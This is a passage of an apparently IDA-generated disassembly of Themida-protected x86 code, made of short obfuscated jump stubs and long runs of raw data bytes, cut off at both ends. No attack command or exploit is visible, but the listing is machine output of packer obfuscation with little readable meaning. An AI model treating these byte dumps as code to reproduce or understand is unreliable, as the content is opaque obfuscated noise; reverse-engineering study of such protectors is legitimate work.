		dd 4B8h, 7544E900h, 895CFFFFh, 2BA2414h, 55000000h, 0FFBB99E9h
		dd 5E0C1FFh, 42B49C05h,	58C229EEh, 0FF8943E9h, 0E5B951FFh
		dd 0BF45A83Fh, 303B54D1h, 0C8BCF31h, 4C48124h, 0C1000000h
		dd 0C78102EFh, 28EB8B3Eh, 0FF68A2E9h, 0EC835FFFh, 0F70E904h
		dd 0EAD10000h, 54E9DAF7h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F8E7:				; CODE XREF: Themida_:00550FD3j
		mov	[esp], edx
		mov	edx, 5D3A6365h
		shr	edx, 8
		xor	edx, ebp
		xor	ebp, edx
		jmp	loc_54AC9D
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0B60F66E9h, 156866CCh, 0C896669h, 0B60F6624h, 9C5166C8h
		dd 0FF647FE9h, 0B2268FFh, 14890000h, 50665124h,	0FF900BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F925:				; CODE XREF: Themida_:00546607j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_549847
; ---------------------------------------------------------------------------
		dw 15Ah
		dd 81042474h, 9604246Ch, 8B1EEC28h, 0E9562434h,	0FFFF8B29h
		dd 73A5C281h, 81586D97h, 4EAh, 85CBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F956:				; CODE XREF: Themida_:0054A9B2j
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_54C2C3
; ---------------------------------------------------------------------------
		dd 0FF642FE9h, 68C201FFh, 386Dh, 0FF86B0E9h, 60E95CFFh
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F977:				; CODE XREF: Themida_:00550BE3j
		push	dword ptr [esp]
		jmp	loc_54FC48
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0BAE92424h, 0C1FFFF82h, 67E905E9h, 86FFFFC3h, 0FF012474h
		dd 835B2434h, 686604C4h, 896643D5h, 0FE882414h,	0FFACF6E9h
		dd 2434FFFFh, 8B2434FFh, 0C4812414h, 4,	81E18951h, 4C1h
		dd 4E98300h, 5C240C87h,	54241489h, 1C50E9h, 24048900h
		dd 0AB3B70B8h, 246C812Dh, 865EAD04h, 2444295Ch,	24448104h
		dd 865EAD04h, 0CD4CE95Ch, 4BBFFFFh, 81000000h, 521D6FC6h
		dd 0A1EE816Dh, 126E932h, 9F0AE9DEh, 8953FFFFh, 4C381E3h
		dd 83000000h, 0AFE904C3h, 66FFFF77h, 57240C8Bh,	0E382E954h
		dd 0C181FFFFh, 6907481h, 8324048Bh, 0C3304C4h, 6D14E924h
		dd 0C483FFFFh, 6352E904h, 8141FFFFh, 0C74335E9h, 0F3C98155h
		dd 81171E39h, 5E18E9E9h, 26F1813Bh, 81148702h, 9DFA05E9h
		dd 59CF0136h, 4474F781h, 0F78169D5h, 51AE4E68h,	895FF901h
		dd 887BE9CEh, 0C981FFFFh, 7E967AFBh, 4B0DC181h,	0CE316808h
		dd 17B7E9h, 51C82800h, 0E5C033B5h, 0F57E905h, 0D1BA0000h
		dd 0E9207316h, 1025h, 1CE7815Dh, 810D1D46h, 6B3CF4C7h
		dd 59CF8106h, 0C1330E24h, 0EF8106E7h, 0FF4C29B6h, 2AE9FE31h
		dd 66FFFFB6h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	edi
		mov	edi, 70275085h
		or	edi, 570061CCh
		dec	edi
		add	edi, 5E4066EDh
		shr	edi, 4
		and	edi, 49C37864h
		sub	edi, 0DEAB3F94h
		push	ecx
		mov	ecx, edi
		mov	eax, ecx
		pop	ecx
		pop	edi
		jmp	loc_548B7B
; ---------------------------------------------------------------------------
		db 0ACh, 0E9h, 3Ah
		dd 31FFFF94h, 4332404h,	4D2C5C24h, 0FFFF7CE9h, 0EC83ADFFh
		dd 241C8904h, 9BC7E957h, 1C87FFFFh, 2C895C24h, 67E66824h
		dd 3FE90000h, 4AFFFF8Dh, 33B6EA81h, 0F2811E1Ah,	0CDE14083h
		dd 0FFBF54E9h, 0FD8955FFh, 34FFE889h, 242C8B24h, 4C481h
		dd 0C4830000h, 78B2E904h, 481FFFFh, 424h, 0C2815A00h, 4
		dd 65D6B951h, 5649242Ch, 0C2293CBEh, 8BF10923h,	0C4812434h
		dd 4, 0E1C1D9F7h, 7CE98107h, 8108C901h,	3952F1C2h, 81CA0174h
		dd 3952F1EAh, 14875974h, 0EC835C24h, 24148904h,	8904EC83h
		dd 44B42404h, 26F968h, 240C8900h, 53E68852h, 11E9F788h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FBBF:				; CODE XREF: Themida_:0054CE86j
		add	esp, 4
		push	ecx
		jmp	loc_54C4BE
; ---------------------------------------------------------------------------
		dd 0FF591988h, 1C8B2434h, 4C48124h, 50000000h, 405E089h
		dd 0E9000000h, 0FFFF6D6Bh, 0E0C1815Fh, 101FD28h, 32BA52F9h
		dd 421FCE61h, 8105EAC1h, 4785ACAh, 0BE564A33h, 58702556h
		dd 0F706E6C1h, 7C681D6h, 81EA0803h, 1B2E70EAh, 0E9F20172h
		dd 0FFFFA733h, 0C380C328h, 0EDEB8035h, 8105C380h, 2ECh
		dd 4896600h, 80C0B424h,	0E3288AC3h, 0E98AEB80h,	0FFFF8FC9h
		dd 0E906E9C1h, 0CA8h
; ---------------------------------------------------------------------------

loc_54FC48:				; CODE XREF: Themida_:0054F97Aj
		pop	eax
		add	esp, 4
		add	al, bl
		pop	bx
		push	742Bh
		mov	[esp], ebx
		push	eax
		jmp	loc_548417
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0C7BE95Ch, 0CA210000h, 3FEA8159h, 21CBC79Eh,	0C3815AD3h
		dd 0FE39BFFBh, 16E9DF29h, 2100001Ah, 2434FFE9h,	0E289525Dh
		dd 4C281h, 0C2830000h, 24148704h, 0E924248Bh, 0FFFFFFA0h
; ---------------------------------------------------------------------------

loc_54FCA0:				; CODE XREF: Themida_:0054E4D3j
		mov	ebp, 7B9A086Ah
		jmp	loc_54A6CB
; ---------------------------------------------------------------------------
aFpsm		db '²ÍfPém',0
		db 2 dup(0), 45h
		dd 7B16C581h, 0EC8170A1h, 4, 0BF243C89h, 5EDA53B5h, 0C15FFD21h
		dd 0C58107EDh, 0FF77DBE2h, 2C8BEB01h, 159FE924h, 53590000h
		dd 0FF77F6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FCE5:				; CODE XREF: Themida_:00550D79j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54B23A
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0D62B951h, 0E9C16043h, 1E98106h, 81000000h, 0D36E39E1h
		dd 3DBD5505h, 0E97AB533h, 0FFFFF210h, 0C8FECEB0h, 704540Ch
		dd 0F086F324h, 0F086D6F6h, 37E9F734h, 81FFFFB9h, 0D15A81EFh
		dd 5FFB0140h, 4C381h, 1C330000h, 241C3124h, 8B241C33h
		dd 0CB682424h, 89000015h, 52E9240Ch
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FD5F:				; CODE XREF: Themida_:0054BB73j
		mov	ebx, 0
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0C2h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FD6F:				; CODE XREF: Themida_:00547177j
		push	ebp
		push	esp
		jmp	loc_548965
; ---------------------------------------------------------------------------
aDSz		db '„Èœé‡',0Ah,0
		align 2

loc_54FD7E:				; CODE XREF: Themida_:0054C7F5j
		xor	ecx, edx
		pop	edx
		jmp	loc_5506A8
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 5C24048Fh,	0E9C8AF0Fh, 0FFFFC83Dh,	0E904C483h
		dd 0DE0h, 8EDF780h, 0EEC05BFEh,	9C75E905h, 0E95AFFFFh
		dd 0FFFFD420h, 401665Ch, 0D5E99C24h, 31FFFF5Fh,	1C33241Ch
		dd 0D475E924h, 0D6F6FFFFh, 88F8F680h, 24148BF1h, 0F8E5E950h
		dd 0C483FFFFh, 40C38104h, 5E7AB67Fh, 5618E12Dh,	5D8294Ah
		dd 4A5618E1h, 8251E95Bh, 0F181FFFFh, 608816F8h,	5B6BBE56h
		dd 0F1313F36h, 57D1F75Eh, 1D8E3DBFh, 5FF901F6h,	53E9CB29h
		dd 55FFFFCDh, 0FF9AB6E9h, 815E5FFFh, 1D7C20C7h,	0D4BD557Bh
		dd 0E956DD3Dh, 0FFFF66F5h, 2247488h, 24148B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 2
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_545D94
; ---------------------------------------------------------------------------

loc_54FE55:				; CODE XREF: Themida_:0054D15Ej
		pop	esi
		add	esp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_545D94
; ---------------------------------------------------------------------------
		unicode	0, <h>
		dw 3Ch
		dw 8900h
		dw 2404h
		dd 8BEB895Dh, 0B9E9242Ch, 0B9000011h, 1770404Ch, 0A79665BAh
		dd 0E9CA2961h, 0FFFFA36Ch, 4BAh, 31C58100h, 51356137h
		dd 587B48B9h, 59CD0162h, 0B850D501h, 62587B48h,	8158C529h
		dd 613731EDh, 2434FF35h, 4C4835Ah, 4C581h, 2C330000h, 172FE924h
		dd 28F0000h, 0FF5EC3E9h, 81E981FFh, 29069074h, 0FB48E9C1h
		dd 0D629FFFFh, 0C683585Ah, 24348702h, 6624248Bh, 2404B30Fh
		dd 5E9EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FEF6:				; CODE XREF: Themida_:0054A644j
		push	esi
		mov	esi, 729D7B8Ch
		shl	esi, 7
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		jmp	loc_550295
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 6787EA81h, 81587F5Eh, 7A616AC2h, 0EFC2810Eh,	0E9463168h
		dd 0FFFF9D65h, 8904EC83h, 2CE92404h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FF2F:				; CODE XREF: Themida_:00549E45j
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_54BB00
; ---------------------------------------------------------------------------
		dd 0E902EBC1h, 0FFFFF1E4h, 5A66F728h, 0C780CF28h, 2434FF39h
		dd 83240C8Bh, 0C48304C4h, 1EF8004h, 0FAF780h, 0C3805BF8h
		dd 6BC380E8h, 0E94CEB80h, 0FFFF9868h, 0FF5E23E9h, 2474FFFFh
		dd 5EBCE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FF7A:				; CODE XREF: Themida_:0054F796j
		sub	eax, esi
		jmp	loc_54D7AC
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 2D04C483h, 209A02CBh, 0CB05E801h, 8B209A02h,	0C481242Ch
		dd 4, 0FF8C1DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FFA1:				; CODE XREF: Themida_:0054D314j
		add	eax, 8008D025h
		mov	ebp, eax
		pop	eax
		jmp	loc_548AB2
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 240C8904h, 7368E189h, 8900005Eh,	4BF243Ch
		dd 56000000h, 494AF6BEh, 847DE91Ch, 0D830FFFFh,	0FFF6C3E9h
		dd 2414F7FFh, 0E5EB815Bh, 81DA812Eh, 3A1946EAh,	81DA011Ah
		dd 3A1946C2h, 0C2815B1Ah, 68723B9Ah, 8904EC83h,	0D9B9240Ch
		dd 0E926C949h, 0FFFF7B54h, 80EDCE80h, 0F6808FEEh, 87BCE9DEh
		dd 0EFC1FFFFh, 7F78102h, 0E9000398h, 0FFFFA684h, 815EF529h
		dd 15FAEF5h, 0CF58156h,	1EE6D31h, 4335DE8h, 24043124h
		dd 5C240433h, 240C8B66h, 546568h, 243C8900h, 33AE9h
		db 0
; ---------------------------------------------------------------------------

loc_550051:				; CODE XREF: Themida_:00547FC9j
		not	eax
		or	eax, 504E7FBBh
		and	eax, 551E4EEEh
		jmp	loc_549778
; ---------------------------------------------------------------------------
		dw 0CD89h
		dd 81240C8Bh, 4C4h, 81E5D100h, 0BA34B3F5h, 215DE97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55007A:				; CODE XREF: Themida_:005513A6j
		push	7F7h
		mov	[esp], edx
		mov	dh, 2Dh
		add	bl, dh
		pop	edx
		push	eax
		mov	al, 0C0h
		jmp	loc_5519BD
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFEBh, 4C4815Dh,	83000000h, 1C8704EBh, 0FDFE924h
		dd 0C6810000h, 57B86128h, 581A055Dh, 0F0011BB1h, 2E6851h
		dd 1FE94CC8h, 2DFFFFFCh, 65614493h, 12568F05h, 0A79FE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5500CE:				; CODE XREF: Themida_:00551054j
		jmp	loc_545D94
; ---------------------------------------------------------------------------

loc_5500D3:				; CODE XREF: Themida_:0054604Aj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54BF50
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0E8Fh, 0F0E9D301h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5500EB:				; CODE XREF: Themida_:0054EAC2j
		add	esi, 4
		jmp	loc_549C15
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 0AF23E924h, 5F54FFFFh, 66E2B850h, 3005420Fh,	510C9B42h
		dd 0FFB84AE9h, 5BDA29FFh, 0E9241487h, 0FFFFF776h, 0B365F181h
		dd 0C801005Bh, 75E95759h, 50FFFFEAh, 5C62E99Ch,	0EC83FFFFh
		dd 24048904h, 0E957E089h, 1BB4h, 2424895Ch, 4240483h, 81240C8Bh
		dd 4C4h, 15E8E900h, 1C890000h, 25EB6824h, 0C890000h, 6420E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550166:				; CODE XREF: Themida_:0054837Ej
		mov	esi, [esp]
		push	7BECh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		jmp	loc_55220B
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0FFCD19E9h, 0F7DDF7FFh, 0D58745DDh, 0FF99C9E9h, 28EE81FFh
		dd 8144D65Dh, 28121FEEh, 0DABD5555h, 8162985Eh,	0FC010AC6h
		dd 0E9EE293Bh, 0FFFFE857h, 9D1C77FFh, 1CD25966h, 0C9E99C24h
		dd 50FFFF5Bh, 4B8h, 58C72900h, 5C243C87h, 0B3241C89h, 55EB8095h
		dd 505BD828h, 0C4FE7AB4h, 0FFD2CDE9h, 5E089FFh,	4, 2BD55h
		dd 0F3050000h, 2D7C601Eh, 22326FFEh, 0E411D405h, 2DE8013Fh
		dd 3FE411D4h, 326FFE05h, 1EF32D22h, 2C8B7C60h, 58545024h
		dd 0E904EC83h, 0FFFFA6C3h, 0E9242C87h, 0FFFFEAC0h, 0E95BDF21h
		dd 0FFFFF4C3h, 0C3151BAh, 50F2816Ah, 81307E45h,	375900F2h
		dd 7CE95058h, 89FFFFB6h, 0C5B2E9E1h, 0CF01FFFFh, 4347BA52h
		dd 0F281797Dh, 38EE3F66h, 70C28142h, 0E91D685Ah, 0FFFF78C3h
		dd 4F223505h, 0B267E946h, 433FFFFh, 24043124h, 8B240433h
		dd 9E92424h, 89FFFF5Bh,	0E189240Ch, 0FF616EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550295:				; CODE XREF: Themida_:0054FF05j
		not	edx
		push	esi
		push	edx
		pop	esi
		pop	edx
		xor	esi, 0C1890884h
		sub	ebp, esi
		pop	esi
		jmp	loc_54B59E
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFD36AE9h, 0B3BF57FFh, 0E97C8C38h, 0FFFF61FBh, 8124148Bh
		dd 4C4h, 285F8800h, 5B2434FFh, 0E904C483h, 0FFFF5AC0h
; ---------------------------------------------------------------------------

loc_5502D4:				; CODE XREF: Themida_:0054DC4Fj
		mov	edi, 2
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		jmp	loc_551219
; ---------------------------------------------------------------------------
		dd 0E9F9F766h, 19B0h
; ---------------------------------------------------------------------------

loc_5502EC:				; CODE XREF: Themida_:0054B3CBj
		push	ebx
		jmp	loc_54A26D
; ---------------------------------------------------------------------------
		dw 8F5Fh
		dd 575C2404h, 9F2F33BFh, 4E7C14Ah, 0C781D7F7h, 6AFC5B6Ch
		dd 8746F787h, 3E6E9F7h,	0C1880000h, 0C8BCE88h, 4C48324h
		dd 52F48850h, 0D388E288h, 91E9585Ah, 68FFFFFFh,	6759h
		dd 0E9241489h, 0FFFF5A5Ch, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 50E1EE2h
		sub	edi, 50E1EDEh
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_54A99F
; ---------------------------------------------------------------------------
		db 66h,	50h, 0B0h
		dd 66C5201Eh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55057A
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5E9C1D9h, 25BFE981h,	0C181488Ah, 62C1C1FFh, 3FAC381h
		dd 0CB014E51h, 21FCB951h, 5EE95AC0h, 54FFFFBCh,	83243C8Bh
		dd 0B85004C4h, 16B82D05h, 3725D8F7h, 402AC341h,	0FF87F7E9h
		dd 58C129FFh, 0F703E9C1h, 0F421E9D9h, 2C8BFFFFh, 4C48124h
		dd 87000000h, 535C2434h, 0C381E389h, 4,	0FF7308E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5503CD:				; CODE XREF: Themida_:00549135j
		push	ebx
		mov	ebx, 74AB583Dh
		push	edi
		mov	edi, 64A517C7h
		neg	edi
		shr	edi, 4
		dec	edi
		sub	edi, 43FB12CAh
		add	edi, 118CC4EAh
		mov	edx, edi
		pop	edi
		jmp	loc_54AE86
; ---------------------------------------------------------------------------
		db 5Ah
		dd 1755932Dh, 52D8013Fh, 175593BAh, 5AD0013Fh, 2C0835Bh
		dd 0FFB147E9h, 5D3968FFh, 3C890000h, 525BF24h, 0D7F749DDh
		dd 70A2F781h, 0F8317F94h, 83243C8Bh, 0C60104C4h, 4C68158h
		dd 68000000h, 101Fh, 0FF243489h, 0E9042474h, 0FFFFF942h
		dd 24148B66h, 815F5457h, 4C7h, 61E86800h, 2C890000h, 0BFBE5624h
		dd 0E912075Eh, 0FFFFB527h, 4C381h, 2CE90000h, 0FEFFFF83h
		dd 1C19E9CEh, 835F0000h, 0C8904ECh, 4B924h, 0CF010000h
		dd 0FFD536E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550489:				; CODE XREF: Themida_:005489C1j
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_55056B
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4ECh, 241C8900h, 102FE9h, 4EC8300h, 89243489h, 49BE9E6h
		dd 34FF0000h, 0C4815924h, 4, 0FF99F4E9h, 63BE56FFh, 177323Eh
		dd 0D7E95EF5h, 0BFFFFFECh, 1240D30h, 808DE94Fh,	0CB81FFFFh
		dd 7ED17A97h, 3080C381h, 49E9309Dh, 31FFFFFAh, 24348BF2h
		dd 53E18951h, 4BBh, 5BD90100h, 0E904C183h, 0FFFFEF0Ah
		dd 243063BAh, 3EAC131h,	0C108EAC1h, 0F28105E2h,	33BD69ABh
		dd 76A8EA81h, 0C28130EEh, 0FF7DCB20h, 0E95AD631h, 0FFFF689Eh
		dd 8925E95Eh, 0E789FFFFh, 54C468h, 24348900h, 685EE4BEh
		dd 0DEF74E39h, 8104EEC1h, 0C31F09E6h, 6E81E976h, 34FFFFFFh
		dd 0C4815924h, 4, 8904EC83h, 0AAE9241Ch
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55056B:				; CODE XREF: Themida_:00550495j
		jmp	loc_545D94
; ---------------------------------------------------------------------------
		dd 28C104ACh, 0BDCAE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55057A:				; CODE XREF: Themida_:00550362j
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54E66E
; ---------------------------------------------------------------------------
		dd 7495BE56h, 0F0095DD0h, 0E92434FFh, 0FFFF6228h, 46E9D121h
		dd 58FFFFD8h, 7F7A68h, 240C8900h, 0FFABC0E9h, 61B850FFh
		dd 0E9630C53h, 0FFFFF2E5h
; ---------------------------------------------------------------------------

loc_5505BC:				; CODE XREF: Themida_:0054961Dj
		push	8A722D3h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_546D21
; ---------------------------------------------------------------------------
		db 64h,	66h, 8Bh
		dd 51686602h, 6059E90Dh, 3C87FFFFh, 48B5C24h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 0E9243487h, 0FFFFCD52h, 242C875Ah
		dd 0E924248Bh, 0FFFFFE40h, 3D068h, 24348900h, 0C8E95555h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550613:				; CODE XREF: Themida_:0054C50Cj
		mov	eax, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_546990
		push	ecx
		jmp	loc_54EC7B
; ---------------------------------------------------------------------------
		db 5
		dd 7994174Dh, 4D0DD0F7h, 4050D820h, 0FC2B6C2Dh,	58C501D6h
		dd 0FFD30DE9h, 87C781FFh, 1308E02h, 87EF81C7h, 8B308E02h
		dd 23E92404h, 81FFFF58h, 4C3h, 19E5E900h, 66640000h, 5702B60Fh
		dd 14E9E789h, 8BFFFFAFh, 54E9243Ch, 4300000Dh, 0FF6802E9h
		dd 48B66FFh, 0AFE95724h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550687:				; CODE XREF: Themida_:00551402j
		pop	cx
		jmp	loc_548957
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 649A7DA5h, 0FF7B6EE9h, 1C77FFFFh, 1858669Dh,	0E99C2404h
		dd 0FFFF56ECh
; ---------------------------------------------------------------------------

loc_5506A8:				; CODE XREF: Themida_:0054FD81j
		push	eax
		jmp	loc_54BBCC
; ---------------------------------------------------------------------------
a_hzo		db '_h‡O',0
		align 4
		dd 89241C89h, 0A0F2E9E3h, 0B850FFFFh, 2, 1309EF81h, 0C7016FE6h
		dd 39CFB951h, 0F181502Dh, 3FCB2AC6h, 5859CF01h,	2474FF57h
		dd 48F5F04h, 24248B24h,	3E2468h, 241C8900h, 0E9D48850h
		dd 0FFFF68D6h, 0A020BB53h, 0DF0183C5h, 5FFB295Bh, 5450C301h
		dd 0FFDEADE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55070D:				; CODE XREF: Themida_:0054694Aj
		shl	edi, 4
		push	4489h
		jmp	loc_550EE4
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF70B8h, 0FF566FE9h, 0C38058FFh, 0EAE3808Ah, 0FE8EC380h
		dd 0BEF380CBh, 0FF81DAE9h, 240C8BFFh, 0E904C483h, 191Eh
		dd 5559CF89h, 0EA89FD89h, 243C8B5Dh, 4C481h, 0CBBD0000h
		dd 310C5443h, 24148BD5h, 8104C483h, 0FFFFFFEDh,	3EDC1FFh
		dd 0FF5B71E9h, 24248BFFh, 24048B66h, 8904EC83h,	5B54241Ch
		dd 0FF5BB5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550785:				; CODE XREF: Themida_:0054CCCCj
		sub	esp, 4
		jmp	loc_54EF9A
; ---------------------------------------------------------------------------
		db 1, 0D1h, 81h
aSkES		db 'éK-e#S»',0
		dd 0E9000000h, 0FFFFB7E1h, 98FF381h, 0C3812FC8h, 0DA75B3F8h
		dd 0FF6454E9h, 241489FFh, 0AA69C7BAh, 31E2814Fh, 925C7E4Dh
		dd 8192D0F7h, 347D9FCAh, 0FBEA817Bh, 89FBF5FFh,	24148BD5h
		dd 2104C483h, 155DE9E9h, 48B0000h, 0E037E924h, 0E781FFFFh
		dd 22B39B0h, 0BE14EF81h, 0F8298C8Fh, 2ABA525Fh,	2D1CD95Ah
		dd 6F73403Ah, 0FFA020E9h, 558AE9FFh, 875AFFFFh,	248B240Ch
		dd 0E1F76624h, 0FF9BB2E9h, 7AE953FFh, 81FFFFE3h, 4C2h
		dd 24148700h, 5566E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55082E:				; CODE XREF: Themida_:00549555j
		push	539Dh
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		jmp	loc_55205A
; ---------------------------------------------------------------------------

loc_550843:				; CODE XREF: Themida_:00549D1Aj
		sub	esp, 4
		jmp	loc_54DCEB
; ---------------------------------------------------------------------------
aIVh		db '‰<$VhØ',0
		db 77h,	6Dh, 5Eh
		dd 174CCE81h, 0F6811CC2h, 7DF717DEh, 2D5EF789h,	7B5D5C14h
		dd 1405F801h, 5F7B5D5Ch, 146DE9h, 24248B00h, 9C2424D3h
		dd 0FFFE9BE9h, 59CD01FFh, 0FF6943E9h, 2474FFFFh, 48F5904h
		dd 0E1F65C24h, 0CCB60F66h, 2BAA6866h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFF73DFh, 0E9D9C380h, 0FFFF7BD8h, 83242489h
		dd 5D042404h, 4C581h, 0ED830000h, 242C8704h, 241C895Ch
		dd 5087B652h, 8851F088h, 59CB88C1h, 24148B58h, 0FF919FE9h
		dd 0CEB551FFh, 0E904EC83h, 0FFFFE213h, 4DFE68h,	24348900h
		dd 3AE95451h, 51FFFFFEh, 8E2E3BB9h, 8EDFE96Eh, 5051FFFFh
		dd 0FFC2C8E9h, 81D529FFh, 0D831C2C5h, 24148B19h, 5304C483h
		dd 0FFE6ABE9h, 1D3EBFFFh, 92E90EC6h, 0F6FFFFE2h, 3FB450D6h
		dd 834B753h, 6919E9FCh,	0E389FFFFh, 4C381h, 0BF570000h
		dd 58DF747Dh, 0D4FE9h, 4C68100h, 83000000h, 348704EEh
		dd 24248B24h, 0E9240489h, 0FFFFAD6Bh, 22E9CE01h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55096F:				; CODE XREF: Themida_:0054AB6Dj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_54E3FC
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C1h, 5CFFE900h, 0E95EFFFFh,	0FFFF6D4Bh, 4412CA81h
		dd 0E94A0330h, 0FFFF68CBh, 2B8h, 58C52900h, 0FFA685E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5509BD:				; CODE XREF: Themida_:0054E015j
		pop	edi
		sub	ebp, 15892EFFh
		add	ebp, eax
		add	ebp, 15892EFFh
		pop	eax
		mov	ebx, [esp]
		push	5AEAh
		jmp	loc_54D42D
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 7530088Dh, 3DE9E581h, 0ED8103EAh, 12A28E5h, 0FF8D20E9h
		dd 0E9DDF6FFh, 0FFFFD15Fh, 4240483h, 0FFE88BE9h, 0F8F580FFh
		dd 801FED80h, 0E80009C5h, 0E6045966h, 0E62CD828h, 0E968B753h
		dd 0E8Fh, 0C781D729h, 720A5658h, 6BE95D5Ah, 81FFFFA3h
		dd 435CA1EEh, 1FBB531Eh, 0E91FEB2Eh, 0FFFFB6DBh, 48B5450h
		dd 4C48324h, 405h, 4C08300h, 0FFCFB1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550A51:				; CODE XREF: Themida_:0054CDC7j
		mov	edi, 69A5400Ah
		add	edi, 9CC5DE7Dh
		xor	edx, edi
		pop	edi
		jmp	loc_54D696
; ---------------------------------------------------------------------------
		dd 86C681h, 0F701204Ah,	4EF815Eh, 87000000h, 248B243Ch
		dd 24048924h, 0FFDFCBE9h, 0B65266FFh, 0CBCE80B8h, 0C090B753h
		dd 0F78006E7h, 0F30AE996h, 8B66FFFFh, 89572404h, 4C781E7h
		dd 81000000h, 4EFh, 0D720E900h,	6651FFFFh, 8966D189h, 5A6659CFh
		dd 3EF8166h, 0FE89660Ch, 51243C8Bh, 0FFF786E9h,	5AD601FFh
		dd 6705EE81h, 0C6011C88h, 6705C681h, 0EE811C88h, 207316D1h
		dd 6A00EE81h, 63E93984h, 8BFFFFA7h, 0C481241Ch,	4, 31240433h
		dd 4332404h, 8B665C24h,	0E3682404h, 89000016h, 5E542434h
		dd 0E58BE950h, 8957FFFFh, 0FA8952C7h, 5F5AD689h, 0E9F00158h
		dd 0FFFFDD93h, 8704E983h, 11E9240Ch, 89FFFFF6h,	0E9542414h
		dd 0FFFF749Ch
; ---------------------------------------------------------------------------

loc_550B38:				; CODE XREF: Themida_:0054679Fj
		sub	edx, 1F4A5E71h
		mov	eax, [esp]
		push	ebx
		jmp	loc_549F16
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF242Ch, 34FF0424h, 0C4835D24h, 24048F04h,	0F24248Bh
		dd 0C42EE9C8h, 8966FFFFh, 83B62414h, 5107E6C0h,	0FF7767E9h
